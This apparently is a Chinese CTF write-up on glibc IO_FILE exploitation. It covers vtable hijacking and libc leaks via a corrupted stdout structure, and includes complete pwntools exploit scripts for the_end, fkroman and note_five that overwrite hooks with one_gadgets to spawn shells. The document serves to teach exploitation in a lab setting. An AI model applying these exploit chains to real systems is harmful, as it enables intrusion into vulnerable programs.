一、IO_File结构体一览 首先看一波源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 struct _IO_FILE { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
其实进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示
,通过这个值我们可以遍历所有的FILE结构,而这个chain字段中存储的偏移是0x60,也就是说每隔0x60就有一个结构体出现,这里可以调试看看
在标准的I/O库中,stdin、stdout、stderr是在libc.so的数据段的,而且三个文件流是自动打开的 ,但是fopen创建的文件流则是在堆中,看下符号长什么样:
1 2 3 _IO_2_1_stderr_ _IO_2_1_stdout_ _IO_2_1_stdin_
但是file结构其实只是一小部分,它有个兄弟叫vtable指针,两人一起同属于_IO_File_plus:
1 2 3 4 5 6 struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; }
在gdb中调试下看看:
Vtable存着哪些可以跳转的函数指针呢?看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 void * funcs[] = { 1 NULL, // "extra word" 2 NULL, // DUMMY 3 exit, // finish 4 NULL, // overflow 5 NULL, // underflow 6 NULL, // uflow 7 NULL, // pbackfail 8 NULL, // xsputn #printf 9 NULL, // xsgetn 10 NULL, // seekoff 11 NULL, // seekpos 12 NULL, // setbuf 13 NULL, // sync 14 NULL, // doallocate 15 NULL, // read 16 NULL, // write 17 NULL, // seek 18 pwn, // close 19 NULL, // stat 20 NULL, // showmanyc 21 NULL, // imbue };
这里自己写了个简单的程序去研究:
) ) ) ) ) ) )
可以看到一个简单的puts函数,调用的过程是puts——>IO_file_xsputn——>IO_file_overflow——>………malloc(“666”)——>write输出666
_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。
因此伪造vtable劫持控制流程的思想就是针对_IO_File_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中部署函数指针来实现
所以vtable劫持分为2种,一种是直接改写vtable的函数的指针,通过任意地址写就可以实现。另一种是覆盖vtable的指针为我们控制的内存,然后在其中布置函数指针。
二、修改vtable实现控制程序流程: The_end
有点不寻常的题目,肯定是新姿势,close关闭的话就无法再输出信息,但是前面给了sleep的真实地址,所以直接泄露出来得到onegadget,同时我们知道exit会调用_IO_2_1_stdout_的sebuf函数,接着就是任意地址写5字节的操作了(假想
成格式化字符串写地址),具体往哪里写呢,先来看下结构体:
可以看到setbuf的偏移为88,那么我们可以伪造vtable指针和setbuf地址,选取IO_2_1_stdout+160作为我们的setbuf的地址, IO_2_1_stdout+160-88就是我们的fake_vtable地址,这样我们一共需要填5次,第一次填写vtable的低2位字节,第二次填写onegadget的低3位字节,由于偏移是不变的,所以直接打:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *from libformatstr import FormatStrcontext.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./the_end' ) if local: p = process('./the_end' ) libc = elf.libc else : p = remote('116.85.48.105' ,5005 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) debug(0x000964 ) ru("gift " ) sleep_addr = int(rc(14 ),16 ) print "sleep_addr--->" + hex(sleep_addr)libc_base = sleep_addr - libc.symbols['sleep' ] onegadget = libc_base + 0xf02a4 vtable = libc_base + 0x3c56f8 fake_vtable = vtable - 0x90 fake_setbuf = fake_vtable + 88 for i in range(2 ): sd(p64(vtable+i)) sd(p64(fake_vtable)[i]) for i in range(3 ): sd(p64(fake_setbuf+i)) sd(p64(onegadget)[i]) p.interactive()
调试看看情况,发现成功改写:
其实这题还可以直接利用exit执行_dl_fini:
我们直接往0x7f6086f14f48 (_rtld_global+3848)写入onegadget的4个字节即可 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *from libformatstr import FormatStrcontext.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./the_end' ) if local: p = process('./the_end' ) libc = elf.libc else : p = remote('116.85.48.105' ,5005 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) debug(0x000964 ) ru("gift " ) sleep_addr = int(rc(14 ),16 ) print "sleep_addr--->" + hex(sleep_addr)libc_base = sleep_addr - libc.symbols['sleep' ] onegadget = libc_base + 0xf02a4 vtable = libc_base + 0x3c56f8 fake_vtable = vtable - 0x90 fake_setbuf = fake_vtable + 88 free_hook = libc_base + libc.symbols["__free_hook" ] fake_got = libc_base + 0x5f0f48 print "fake_got--->" + hex(fake_got)print "onegadget--->" + hex(onegadget)for i in range(5 ): sd(p64(fake_got+i)) sd(p64(onegadget)[i]) p.interactive()
总结:这种是通过改vtable指针,通过伪造vtable指针来改变跳转。
三、IO_2_1_stdout_泄露地址 这里得看一波源码才了解具体的原理:
首先得知道puts函数的函数调用链:
我们知道puts函数在源码中是通过_IO_puts函数的内部调用_IO_sputn实现,结果会执行_IO_new_file_xsputn,最终执行_IO_overflow,我们来看下_IO_puts的源码实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int _IO_puts (const char *str) { int result = EOF; _IO_size_t len = strlen (str); _IO_acquire_lock (_IO_stdout); if ((_IO_vtable_offset (_IO_stdout) != 0 || _IO_fwide (_IO_stdout, -1 ) == -1 ) && _IO_sputn (_IO_stdout, str, len) == len && _IO_putc_unlocked ('\n' , _IO_stdout) != EOF) result = MIN (INT_MAX, len + 1 ); _IO_release_lock (_IO_stdout); return result; }
_IO_new_file_overflow源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int _IO_new_file_overflow (_IO_FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL ) ...... ...... } if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); if (f->_IO_write_ptr == f->_IO_buf_end ) if (_IO_do_flush (f) == EOF) return EOF; *f->_IO_write_ptr++ = ch; if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n' )) if (_IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) == EOF) return EOF; return (unsigned char ) ch; }
进去do_new_write:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do) { _IO_size_t count; if (fp->_flags & _IO_IS_APPENDING) fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1 ); if (new_pos == _IO_pos_BAD) return 0 ; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); if (fp->_cur_column && count) fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1 , data, count) + 1 ; _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base; fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) ? fp->_IO_buf_base : fp->_IO_buf_end); return count; }
好了,源码解析完毕了,下面就是利用演示了:
这种利用方法针对于没有puts打印函数的情况,但是需要一个前提,就是需要劫持到stdout结构体,一般来说是通过UAF(unsorted bin切割法得到地址,FD指向unsortedbin),接着改FD的main_arena+88的末位(若没有则利用攻击global_max_fast的方式去做,使得有fastbin dump),变成stdout-xx的位置(得有0x7f或者0xff的size,0x7f在0x43的位置,0xff在0x51的位置),下一次申请时就可以从上往下写,改写flag标志位为0xfbad1800固定值,同时修改IO_Write_base末尾为’\x00’,在flag位和IO_Write_base位之间填写的东西可以为任意值,我们的目的是下溢改写IO_Write_base。
程序就是常规的菜单题:
我们整理出函数,没有puts打印函数,但是有UAF漏洞,可以free完改FD,也可以double free。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def malloc (index,size) : ru("Your choice: " ) sl('1' ) ru("Index: " ) sl(str(index)) ru("Size: " ) sl(str(size)) def free (index) : ru("Your choice: " ) sl('3' ) ru("Index: " ) sl(str(index)) def edit (index,size,content) : ru("Your choice: " ) sl('4' ) ru("Index: " ) sl(str(index)) ru("Size: " ) sl(str(size)) ru("Content: " ) sd(content)
这里有个问题就是搞到有unsorted_bin的FD指针的堆块,重复利用法:
1 2 3 4 5 6 7 8 9 10 malloc(0 ,0x400 ) malloc(1 ,0x60 ) malloc(2 ,0x20 ) free(0 ) malloc(3 ,0x60 ) malloc(4 ,0x60 ) malloc(5 ,0x60 ) free(3 ) free(4 ) edit(4 ,1 ,'\xe0' )
先申请大块chunk,free用切割法得到有main_arena地址的chunk块,然后利用UAF改写FD指针指向我们的有main_arena地址的堆块,接着再edit这个堆块的FD为stdout-xx(成功实现劫持),所以这个块是被使用了两次~
再申请出来就可以改写stdout的标志位和输出位置了。有了真实地址后就可以再次改写FD指针然后改malloc_hook为我们的onegadget,即可getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from pwn import *from libformatstr import FormatStrcontext.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./fkroman' ) if local: p = process('./fkroman' ) libc = elf.libc else : p = remote('116.85.48.105' ,5005 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) def malloc (index,size) : ru("Your choice: " ) sl('1' ) ru("Index: " ) sl(str(index)) ru("Size: " ) sl(str(size)) def free (index) : ru("Your choice: " ) sl('3' ) ru("Index: " ) sl(str(index)) def edit (index,size,content) : ru("Your choice: " ) sl('4' ) ru("Index: " ) sl(str(index)) ru("Size: " ) sl(str(size)) ru("Content: " ) sd(content) def pwn () : malloc(0 ,0x400 ) malloc(1 ,0x60 ) malloc(2 ,0x20 ) free(0 ) malloc(3 ,0x60 ) malloc(4 ,0x60 ) malloc(5 ,0x60 ) free(3 ) free(4 ) edit(4 ,1 ,'\xe0' ) malloc(3 ,0x60 ) edit(5 ,2 ,'\xdd\x75' ) malloc(4 ,0x60 ) py = '' py += '\x00' *0x33 + p64(0xfbad1800 ) + p64(0 )*3 + '\x00' malloc(5 ,0x60 ) edit(5 ,len(py),py) rc(0x40 ) libc_base = u64(rc(8 )) - 0x3c5600 print "libc_base--->" + hex(libc_base) onegadget = libc_base + 0x4526a fake_chunk = libc_base + libc.symbols["__malloc_hook" ] - 0x23 free(1 ) edit(1 ,8 ,p64(fake_chunk)) malloc(1 ,0x60 ) malloc(6 ,0x60 ) py = '' py += 'a' *0x13 + p64(onegadget) edit(6 ,len(py),py) malloc(7 ,0x60 ) i = 1 while 1 : print i i += 1 try : pwn() except Exception as e: p.close() local = 1 elf = ELF('./fkroman' ) if local: p = process('./fkroman' ) libc = elf.libc else : p = remote('116.85.48.105' ,5005 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) continue else : sl('cat flag' ) p.interactive()
总结:这里有1/16的概率可以泄露地址来getshell,但是还是比较简单的,写个循环去爆破就好了。
四、先IO_File泄露地址再修改vtable控制程序流程 拿byteCTF的那道note_five为例:
这题质量还是挺高的,先来看看保护机制:
保护全开,然后看看ida分析逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { unsigned int choice; __int64 result; init_0(); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { choice = menu(); result = choice; if ( choice != 2 ) break ; edit(); } if ( result > 2 ) break ; if ( result != 1 ) goto LABEL_12; malloc_0(); } if ( result != 3 ) break ; free_0(); } if ( result == 4 ) return result; LABEL_12: puts ("bad choice" ); } }
常见的菜单题,
这里malloc的大小时unsortedbin的范围,没有fastbin的攻击,继续。
这里看看漏洞点:
edit时存在offbyone,同时没有puts函数可以泄露地址。
攻击思路如下:
1、利用offbyone实现overlap
2、利用overlap实现改BK指针,攻击global_max_fast
3、改FD指针为stdout-0x51,成功实现劫持
4、改结构体从而泄露真实地址
5、然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget
6、malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。
这里_wide_data要填我们劫持的地址+1的位置,同时要改_mode为1,表示报错模块。
上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 from pwn import *context.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./note_five' ) if local: p = process('./note_five' ) libc = elf.libc else : p = remote('116.85.48.105' ,5005 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def bk (mallocr) : gdb.attach(p,"b *" +str(hex(mallocr))) def debug (mallocr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+mallocr))) else : gdb.attach(p,"b *{}" .format(hex(mallocr))) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def malloc (idx,size) : ru("choice>> " ) sl('1' ) ru("idx: " ) sl(str(idx)) ru("size: " ) sl(str(size)) def free (index) : ru("choice>> " ) sl('3' ) ru("idx:" ) sl(str(index)) def edit (index,content) : ru("choice>> " ) sl('2' ) ru("idx: " ) sl(str(index)) ru("content: " ) sd(content) def pwn () : malloc(0 ,0xf8 ) malloc(1 ,0xf8 ) malloc(2 ,0xe8 ) malloc(3 ,0xf8 ) malloc(4 ,0xf8 ) free(0 ) payload = 'c' * 0xe0 + p64(0x2f0 ) + '\x00' edit(2 ,payload) free(3 ) malloc(0 ,0x2f0 - 0x10 ) payload = '\x11' * 0xf0 payload += p64(0 ) + p64(0x101 ) payload += '\x22' * 0xf0 + p64(0 ) + p64(0xf1 ) + "\n" edit(0 ,payload) free(1 ) global_max_fast = 0x77f8 stdout = 0x77f8 - 0x1229 payload = '\x11' * 0xf0 payload += p64(0 ) + p64(0x101 ) payload += p64(0 ) + p16(0x77f8 - 0x10 ) + '\n' edit(0 ,payload) malloc(3 ,0xf8 ) malloc(3 ,0xf8 ) payload = '\x11' * 0xf0 payload += p64(0 ) + p64(0x101 ) payload += '\x22' * 0xf0 + p64(0 ) + p64(0xf1 ) + "\n" edit(0 ,payload) free(2 ) payload = '\x11' * 0xf0 payload += p64(0 ) + p64(0x101 ) payload += '\x22' * 0xf0 + p64(0 ) + p64(0xf1 ) payload += p16(stdout) + '\n' edit(0 ,payload) malloc(3 ,0xe8 ) malloc(4 ,0xe8 ) py = '' py += 'a' *0x41 + p64(0xfbad1800 ) + p64(0 )*3 + '\x00' + '\n' edit(4 ,py) rc(0x40 ) libc_base = u64(rc(8 )) - 0x3c5600 onegadget = libc_base + 0xf1147 print "libc_base--->" + hex(libc_base) system = libc_base + libc.symbols["system" ] fake_vtable = libc_base + 0x3c5600 -8 binsh = libc_base + libc.search('/bin/sh\x00' ).next() py = '\x00' + p64(libc_base+0x3c55e0 ) + p64(0 )*3 +p64(0x1 )+p64(0 )+p64(onegadget)+p64(fake_vtable) + '\n' edit(4 ,py) malloc(1 ,1000 ) i = 0 while 1 : print i i += 1 try : pwn() except EOFError: p.close() local = 1 elf = ELF('./note_five' ) if local: p = process('./note_five' ) libc = elf.libc continue else : p = remote('121.40.246.48' ,9999 ) else : sl("ls" ) break p.interactive()
总结,IO_File是做堆题目时常用到的很好的方法,掌握泄露地址和改vtable实现控制程序执行流程,受益匪浅。
小结:一般有两种方式去泄漏地址:
第一种:
第二种:
原来有一次大堆块,然后通过切割得到含有真实地址的free的fastbin,再次伪造大堆块,通过覆盖写,从而修改fd指针,重点在于2次伪造大堆块